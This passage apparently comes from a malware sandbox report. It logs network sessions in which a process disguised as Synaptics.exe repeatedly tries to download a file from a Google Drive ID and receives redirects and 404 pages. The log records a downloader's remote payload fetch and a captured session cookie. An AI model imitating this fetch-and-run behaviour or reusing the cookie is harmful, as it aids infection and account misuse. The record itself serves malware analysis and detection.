h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:10 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:10 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 65 31 68 7a 6e 5f 6b 61 64 76 71 73 37 72 47 79 45 6b 77 44 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="Ge1hzn_kadvqs7rGyEkwDA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:10 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	56075	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:10 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:10 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:10 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-4x0xjZahaHxZTQwuDbaBSw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	56076	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:10 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:11 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7-xFyZsdaCTuvxncDRUqEfd5_uysak7sH_7G-aWx1ak9xGQ-6SuxcfLSB6ciMIv6R4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:10 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-q9SQGV1ZXTtZdfPZ2NePmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:11 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:11 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 6a 34 4a 6d 42 4c 2d 36 71 68 47 49 57 55 43 6c 54 7a 42 67 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="yj4JmBL-6qhGIWUClTzBgw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:11 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	56078	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:11 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	56079	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:11 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	56080	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:11 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	56084	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:12 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-lIkDkBUrBlrl2dnaJ-wT9Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	56085	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:12 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-KU9kh1GyYtr49UFmUFtl0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	56087	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:13 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:13 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4OOp94Zp2gs7wwNEfniRYBTtjKEvHyXmq8o6ugla0WcAr8J_u1c2njv-DLTDgeL1yt Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:13 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-Ah76w4KpLs4a_TTrotYR6A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:13 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:13 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 70 34 76 47 4e 79 30 53 5a 7a 59 34 37 6b 5a 63 70 78 32 59 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="Up4vGNy0SZzY47kZcpx2Yw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:13 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	56089	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:13 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:14 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5ETMPwkI5d8lJXDWobN0lOsveLIVEcngcob-306QRVP5D54HyU1oXG0BtlPxqhQa6o Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:13 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-YBRnbFZ1pr3Dzmvwwei_Sg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:14 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:14 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 65 33 57 6c 4d 73 6e 73 4f 56 39 63 6b 4d 37 6d 59 72 41 35 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="fe3WlMsnsOV9ckM7mYrA5g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:14 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	56088	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:13 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
